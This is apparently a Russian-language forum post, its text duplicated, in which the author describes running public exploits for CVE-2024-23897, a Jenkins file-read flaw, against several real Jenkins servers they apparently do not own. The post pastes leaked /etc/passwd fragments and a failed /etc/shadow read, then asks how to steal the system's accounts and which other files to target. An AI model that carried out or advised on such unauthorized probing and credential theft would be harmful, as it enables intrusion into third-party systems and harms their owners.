Всем привет!
Сегодня на гитхабе появилось пару экспов под cve-2024-23897.
Описания нет. Судя по содержанию и описанию самой уязвимости предположил что после отправки нужного запроса серв вернёт сожержимое запрашиваемого файла. В примере рассмотрен /etc/passwd. Правда судя по примеру возвращается содержимое в сильно усечённом виде:
b'\x00\x00\x00\x00\x01\x08\n\x00\x00\x00;\x08ERROR: Too many arguments: bin:x:1:1:bin:/bin:/sbin/nologin\x00\x00\x00\x01\x08\n\x00\x00\x00\x1e\x08java -jar jenkins-cli.jar help\x00\x00\x00\n\x08 [COMMAND]\x00\x00\x00\x01\x08\n\x00\x00\x00M\x08Lists all the available commands or a detailed description of single command.\x00\x00\x00\x01\x08\n\x00\x00\x00J\x08 COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)\n\x00\x00\x00\x04\x04\x00\x00\x00\x02'
Достал из загашника несколько ипов с Jenkins`ом. И правда что то похожее возвращается. Делаю предположение что рут типа в системе есть. Дальше пытаюсь на этом же хосте прочитать /etc/shadow. В ответ получаю такое содержимое:
b'\x00\x00\x00\x00\x01\x08\n\x00\x00\x00"\x08ERROR: Failed to parse /etc/shadow\x00\x00\x00\x01\x08\n\x00\x00\x00\x1e\x08java -jar jenkins-cli.jar help\x00\x00\x00\n\x08 [COMMAND]\x00\x00\x00\x01\x08\n\x00\x00\x00M\x08Lists all the available commands or a detailed description of single command.\x00\x00\x00\x01\x08\n\x00\x00\x00\x1f\x08 COMMAND : Name of the command\n\x00\x00\x00\x04\x04\x00\x00\x00\x02'
Такой ответ наблюдал на паре разных хостов.
Всё ли я правильно делаю, чтобы зацепить учётки в системе? Или надо другие файлы попытаться прочитать?
А может дело в сплоите?
Сегодня на гитхабе появилось пару экспов под cve-2024-23897.
Описания нет. Судя по содержанию и описанию самой уязвимости предположил что после отправки нужного запроса серв вернёт сожержимое запрашиваемого файла. В примере рассмотрен /etc/passwd. Правда судя по примеру возвращается содержимое в сильно усечённом виде:
b'\x00\x00\x00\x00\x01\x08\n\x00\x00\x00;\x08ERROR: Too many arguments: bin:x:1:1:bin:/bin:/sbin/nologin\x00\x00\x00\x01\x08\n\x00\x00\x00\x1e\x08java -jar jenkins-cli.jar help\x00\x00\x00\n\x08 [COMMAND]\x00\x00\x00\x01\x08\n\x00\x00\x00M\x08Lists all the available commands or a detailed description of single command.\x00\x00\x00\x01\x08\n\x00\x00\x00J\x08 COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)\n\x00\x00\x00\x04\x04\x00\x00\x00\x02'
Достал из загашника несколько ипов с Jenkins`ом. И правда что то похожее возвращается. Делаю предположение что рут типа в системе есть. Дальше пытаюсь на этом же хосте прочитать /etc/shadow. В ответ получаю такое содержимое:
b'\x00\x00\x00\x00\x01\x08\n\x00\x00\x00"\x08ERROR: Failed to parse /etc/shadow\x00\x00\x00\x01\x08\n\x00\x00\x00\x1e\x08java -jar jenkins-cli.jar help\x00\x00\x00\n\x08 [COMMAND]\x00\x00\x00\x01\x08\n\x00\x00\x00M\x08Lists all the available commands or a detailed description of single command.\x00\x00\x00\x01\x08\n\x00\x00\x00\x1f\x08 COMMAND : Name of the command\n\x00\x00\x00\x04\x04\x00\x00\x00\x02'
Такой ответ наблюдал на паре разных хостов.
Всё ли я правильно делаю, чтобы зацепить учётки в системе? Или надо другие файлы попытаться прочитать?
А может дело в сплоите?